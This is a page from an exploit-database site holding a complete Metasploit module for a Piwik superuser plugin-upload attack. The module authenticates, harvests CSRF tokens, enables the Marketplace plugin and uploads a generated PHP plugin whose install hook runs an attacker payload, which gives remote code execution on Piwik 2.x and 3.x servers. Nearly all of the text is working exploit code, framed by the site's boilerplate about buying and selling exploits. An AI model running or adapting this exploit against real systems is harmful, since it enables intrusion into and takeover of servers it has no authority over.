0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Piwik 2.14.0 / 2.16.0 / 2.17.1 / 3.0.1 - Superuser Plugin Upload Exploit
## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info( info, 'Name' => 'Piwik Superuser Plugin Upload', 'Description' => %q{ This module will generate a plugin, pack the payload into it and upload it to a server running Piwik. Superuser Credentials are required to run this module. This module does not work against Piwik 1 as there is no option to upload custom plugins. Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'FireFart' # Metasploit module ], 'References' => [ [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ] ], 'DisclosureDate' => 'Feb 05 2017', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Piwik', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']), OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']), OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with']) ], self.class) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def normalized_index normalize_uri(target_uri, 'index.php') end def get_piwik_version(login_cookies) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => login_cookies, 'vars_get' => { 'module' => 'Feedback', 'action' => 'index', 'idSite' => '1', 'period' => 'day', 'date' => 'yesterday' } }) piwik_version_regexes = [ /<title>About Piwik ([\w\.]+) -/, /content-title="About Piwik ([\w\.]+)"/, /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m ] if res && res.code == 200 for r in piwik_version_regexes match = res.body.match(r) if match return match[1] end end end # check for Piwik version 1 # the logo.svg is only available in version 1 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') }) if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/ return "1.x" end nil end def is_superuser?(login_cookies) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => login_cookies, 'vars_get' => { 'module' => 'Installation', 'action' => 'systemCheckPage' } }) if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ return false elsif res && res.body =~ /id="systemCheckRequired"/ return true else return false end end def generate_plugin(plugin_name) plugin_json = %Q|{ "name": "#{plugin_name}", "description": "#{plugin_name}", "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", "theme": false }| plugin_script = %Q|<?php namespace Piwik\\Plugins\\#{plugin_name}; class #{plugin_name} extends \\Piwik\\Plugin { public function install() { #{payload.encoded} } } | zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) zip.add_file("#{plugin_name}/plugin.json", plugin_json) zip.pack end def exploit print_status('Trying to detect if target is running a supported version of piwik') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index }) if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/ print_good('Detected Piwik installation') else fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik') end print_status("Authenticating with Piwik using #{username}:#{password}...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'vars_get' => { 'module' => 'Login', 'action' => 'index' } }) login_nonce = nil if res && res.code == 200 match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/) if match login_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil? cookies = res.get_cookies res = send_request_cgi({ 'method' => 'POST', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'Login', 'action' => 'index' }, 'vars_post' => { 'form_login' => "#{username}", 'form_password' => "#{password}", 'form_nonce' => "#{login_nonce}" } }) if res && res.redirect? && res.redirection # update cookies cookies = res.get_cookies else # failed login responds with code 200 and renders the login form fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik') end print_good('Authenticated with Piwik') print_status("Checking if user #{username} has superuser access") superuser = is_superuser?(cookies) if superuser print_good("User #{username} has superuser access") else fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access") end print_status('Trying to get Piwik version') piwik_version = get_piwik_version(cookies) if piwik_version.nil? print_warning('Unable to detect Piwik version. Trying to continue.') else print_good("Detected Piwik version #{piwik_version}") end if piwik_version == '1.x' fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module') end # Only versions after 3 have a seperate Marketplace plugin if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3') marketplace_available = true else marketplace_available = false end if marketplace_available print_status("Checking if Marketplace plugin is active") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'Marketplace', 'action' => 'index' } }) fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/ print_status('Marketplace plugin is not enabled, trying to enable it') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'plugins' } }) mp_activate_nonce = nil if res && res.code == 200 match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/) if match mp_activate_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'activate', 'pluginName' => 'Marketplace', 'nonce' => "#{mp_activate_nonce}" } }) if res && res.redirect? print_good('Marketplace plugin enabled') else fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.') end else print_good('Seems like the Marketplace plugin is already enabled') end end print_status('Generating plugin') plugin_name = Rex::Text.rand_text_alpha(10) zip = generate_plugin(plugin_name) print_good("Plugin #{plugin_name} generated") print_status('Uploading plugin') # newer Piwik versions have a seperate Marketplace plugin if marketplace_available res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'Marketplace', 'action' => 'overview' } }) else res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'marketplace' } }) end upload_nonce = nil if res && res.code == 200 match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m) if match upload_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil? # plugin files to delete after getting our session register_files_for_cleanup("plugins/#{plugin_name}/plugin.json") register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php") data = Rex::MIME::Message.new data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalized_index, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'uploadPlugin', 'nonce' => "#{upload_nonce}" } ) activate_nonce = nil if res && res.code == 200 match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/) if match activate_nonce = match[1] end end fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil? print_status('Activating plugin and triggering payload') send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => cookies, 'vars_get' => { 'module' => 'CorePluginsAdmin', 'action' => 'activate', 'nonce' => "#{activate_nonce}", 'pluginName' => "#{plugin_name}" } }, 5) end end # 0day.today [2024-12-24] #